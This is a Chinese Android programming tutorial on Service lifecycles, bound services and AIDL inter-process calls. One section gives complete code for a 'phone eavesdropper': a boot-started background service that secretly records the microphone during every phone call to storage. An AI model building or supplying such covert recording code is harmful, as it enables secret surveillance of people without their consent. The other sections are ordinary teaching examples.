Service没有UI,因为service是后台运行
如:下载,网络I/O 等等
Service的生命周期
从它被创建开始,到它被销毁为止,
onCreate();
onStartCommand();
onBind();
onUnbind();
onRebind();
onDestroy();
一般分为三种方式
第一种:
当采用Context.startService()方法启动服务,与之有关
的生命周期方法
onCreate() -> onStartCommand() -> onDestroy()
onCreate()该方法在服务被创建时调用,该方法只会被调
用一次,无论调用多少次startService()或bindService()方
法,服务也只被创建一次
onStart() 只有采用Context.startService()方法启动服
务时才会调用该方法,该方法在服务开始运行时被调用,多次
调用startService()方法尽管不会多次创建服务,但onStart
()方法会被多次调用
onDestroy()该方法在服务被终止时调用
第二种:
当采用Context.bindService()方法启动服务,与之有关
的生命周期方法
onCreate() -> onBind() -> onUnbind() -> onDestroy
()
onBind() 只有采用Context.bindService()方法启动服务
时才会回调该方法,该方法在调用者与服务绑定时被盗用,当
调用者与服务已经绑定,多次调用,Context.bindService()方
法并不会导致该方法被多次调用。
onUnbind()只有采用Context.bindService()方法启动服
务时才会回调该方法,该方法在调用者与服务解除绑定时被调
用。
第三种:混合启动绑定服务
如果先采用startService()方法启动服务,然后调用
bindService方法绑定到服务,在调用unbindService()方法
解除绑定,最后调用bindService()方法再次绑定到服务,触
发的生命周I方法如下:
onCreate() ->
onStartCommand() ->
onBind() -> onUnbind()[重载后的方法需返回true]
->
onRebind()
采用Service实现电话窃听器
1.新建一个类继承Service
/*
* 采用Service实现电话窃听器
*/
public class PersonService extends Service {
// 该方法只会被调用一次
@Override
public void onCreate() {
super.onCreate();
// 取得电话管理服务
TelephonyManager telephonyManager =
(TelephonyManager) getSystemService
(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new
PhoneListener(),
PhoneStateListener.LISTEN_CALL_STATE);
}
// 电话监听器
private final class PhoneListener extends
PhoneStateListener {
private String incomingNumberString;
private MediaRecorder mediaRecorder;
private File file;
@Override
public void onCallStateChanged(int
state, String incomingNumber) {
switch (state) {
// 来电
case
TelephonyManager.CALL_STATE_RINGING:
this.incomingNumberString = incomingNumber;
break;
// 接通电话
case
TelephonyManager.CALL_STATE_OFFHOOK:
try {
file = new
File(Environment.getExternalStorageDirectory(),
incomingNumber + System.currentTimeMillis());
mediaRecorder
= new MediaRecorder();
mediaRecorder.setAudioSource
(MediaRecorder.AudioSource.MIC);
mediaRecorder
.setOutputFormat
(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder
.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mediaRecorder.setOutputFile(file.getAbsolutePath());
mediaRecorder.prepare();// 准备
mediaRecorder.start();// 开始录音
} catch (IOException
e) {
}
break;
// 挂断电话回归到空闲状态
case
TelephonyManager.CALL_STATE_IDLE:
if (mediaRecorder !=
null) {
mediaRecorder.stop();
mediaRecorder.release();
mediaRecorder
= null;
}
break;
}
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
2.配置清单文件
<service android:name=".MyService" />
3.服务是不能自己运行的是需要调用启动服务
比如说,开机启动,那么需要使用广播接收者,
然后从广播启动服务
开机启动的广播接收者配置
<receiver
android:name="com.example.service_demo.broadcast.MyBro
adcast">
<intent-filter>
<action
android:name="android.intent.action.BOOT_COMPLETED"
/>
</intent-filter>
<receiver>
代码:
public class MyBroadcast extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent
intent) {
context.startService(new Intent
(context,MyService.class));
}
}
4.配置必要的权限
<!-- 电话状态读取权限 -->
<uses-permission
android:name="android.permission.READ_PHONE_STATE" />
<!-- SDCARD写权限 -->
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAG
E" />
<!-- SDCARD中创建和删除文件权限 -->
<uses-permission
android:name="android.permission.MOUNT_UNMOUNT_FILESYS
TEMS" />
<!-- 网络权限 -->
<uses-permission
android:name="android.permission.INTERNET" />
<!-- 刻录声音的权限 -->
<uses-permission
android:name="android.permission.RECORD_AUDIO" />
5.现在就可以启动了
然后打电话就会被录音
现在服务是在系统中启动了,但是怎么停止了?
如果不显示关闭服务,而是由系统自己来关闭,就是当内存
不够时,先终结掉后台继承,如果后台进程还不够,那么就
需要结束掉服务进程
手动调用关闭服务是
Context.stopService();
建立能与访问者进行相互通信的本地服务
通过startService()和stopService()启动关闭服务,适用于
服务和访问者之间没有交互的情况
如果服务和访问者之间需要方法调用或者传递参数,则需要使
用bindService()和unbindServie()方法启动关闭服务
采用Context.bindService()方法启动服务,在服务未被创建
时,系统会先调用服务的onCreate()方法,接着调用onBind()
方法,这个时候访问者和服务绑定在一起,如果访问者要与服
务进行通信,那么,onBind()方法必须返回IBinder对象,
如果访问者退出了,系统就会先调用服务器的onUnbind(),接
着调用onDestroy()方法,如果调用bindService()方法前服务
已经被绑定多次调用bindService()方法并不会导致多次创
建服务及绑定(也就是说onCreate()和onBind()方法并不会被
多次调用),
如果访问者希望与正在绑定的服务解除绑定,可以调用
unbindService()方法,调用该方法也会导致调用系统的
unbind() -> onDestroy()
访问者调用服务中的方法
1.当我们启动调用bindService()时,系统会调用Service类的
onBind()方法 ,返回IBinder对象,所以我们创建一个内部类
继承自Binder,并且声明一个全局IBinder对象,返回Binder对
象的实例
2.创建一个继承service的类
/*
* 绑定服务的过程是:客户启动服务,服务返回一个IBinder
对象
* 由于IBinder是一个接口,所以我们需要自定一个类继承
Binder对象,然后把这个类的实例对象给接口对象
* 在将这个接口对象给返回
*/
public class MyService extends Service {
private String[] nameStrings = {"小明","小
王","夏利","校长"};
private IBinder binder = new StudentBinder();
public String query(int id){
if(id > 0 && id < 4){
return nameStrings[id-1];
}
return null;
}
@Override
public IBinder onBind(Intent intent) {
return binder;
}
private class StudentBinder extends Binder
implements IStudent{
public String queryStudent(int id){
return query(id);
}
}
}
3.创建一个接口
public interface IStudent {
String queryStudent(int id);
}
4.在Activity中调用
public class MainActivity extends Activity {
private ServiceConnection conn= new
StudentServiceConnection();
private IStudent iStudent;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final TextView tv = (TextView)
this.findViewById(R.id.textview);
final EditText txt = (EditText)
this.findViewById(R.id.editText);
this.findViewById
(R.id.button).setOnClickListener(new
View.OnClickListener() {
@Override
public void onClick(View v) {
String text =
iStudent.queryStudent(Integer.valueOf(txt.getText
().toString()));
tv.setText(text);
}
});
Intent service = new Intent
(this,MyService.class);
bindService(service, conn, BIND_AUTO_CREATE);
}
private class StudentServiceConnection implements
ServiceConnection{
@Override
public void onServiceConnected
(ComponentName name, IBinder service) {
iStudent = (IStudent)service;
}
@Override
public void onServiceDisconnected
(ComponentName name) {
iStudent = null;
}
}
@Override
protected void onDestroy() {
//当activity被摧毁时注销绑定
unbindService(conn);
super.onDestroy();
}
}
这种服务就类似QQ中的发送一条消息,需要经过这样的服务过
程
当然,发送UDP信息,没有写,这里只是讲绑定服务需要执行
的过程
使用AIDL和远程服务实现进程通信
AIDL就是进程间通信
Android Interface Definition Language
AIDL是一种接口定义语言,用于约束两个进程间的通讯规则,
供编译器生成代码
1.新建一个项目 作为服务端
新建一个接口,并且把这个.java文件格式改成.aidl
并且不能有访问修饰符
刷新项目,在gen下会生成一个文件,不过这里的文件不需
要我们来改,系统自动生成的
2.现在创建一个服务
代码
public class queryStudentService extends Service {
private IBinder binder = new
StudentQueryBinder();
private String[] str = {"小王","呵呵","哈哈"};
public String query(int id){
return str[id];
}
@Override
public IBinder onBind(Intent intent) {
return binder;
}
private final class StudentQueryBinder extends
StudentQuery.Stub{
@Override
public String queryStudent(int number)
throws RemoteException {
return query(number);
}
}
}
配置文件
<service
android:name="com.example.android_remote_aidl.service.
queryStudentServic">
<intent-filter><action
android:name="com.enenya.service.queryStudentService"/
></intent-filter>
</service>
3.写一个客户端
把服务端的那个aidl包复制到客户端项目中来
public class MainActivity extends Activity {
private ServiceConnection conn = new
StudentServiceConnection();
private StudentQuery studentQuery;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final TextView tv = (TextView)
this.findViewById(R.id.textview);
final EditText editText = (EditText)
this.findViewById(R.id.edittext);
this.findViewById
(R.id.button).setOnClickListener(new
View.OnClickListener(){
@Override
public void onClick(View v) {
try {
String aString
= studentQuery.queryStudent(Integer.valueOf
(editText.getText().toString()));
tv.setText
(aString);
} catch
(NumberFormatException e) {
// TODO Auto-
generated catch block
e.printStackTrace();
} catch
(RemoteException e) {
// TODO Auto-
generated catch block
e.printStackTrace();
}
}
});
Intent service = new Intent
("com.enenya.service.queryStudentService");
bindService(service, conn, BIND_AUTO_CREATE);
}
private class StudentServiceConnection implements
ServiceConnection{
@Override
public void onServiceConnected
(ComponentName name, IBinder service) {
studentQuery =
StudentQuery.Stub.asInterface(service);
}
@Override
public void onServiceDisconnected
(ComponentName name) {
studentQuery = null;
}
}
@Override
protected void onDestroy() {
unbindService(conn);
super.onDestroy();
}
}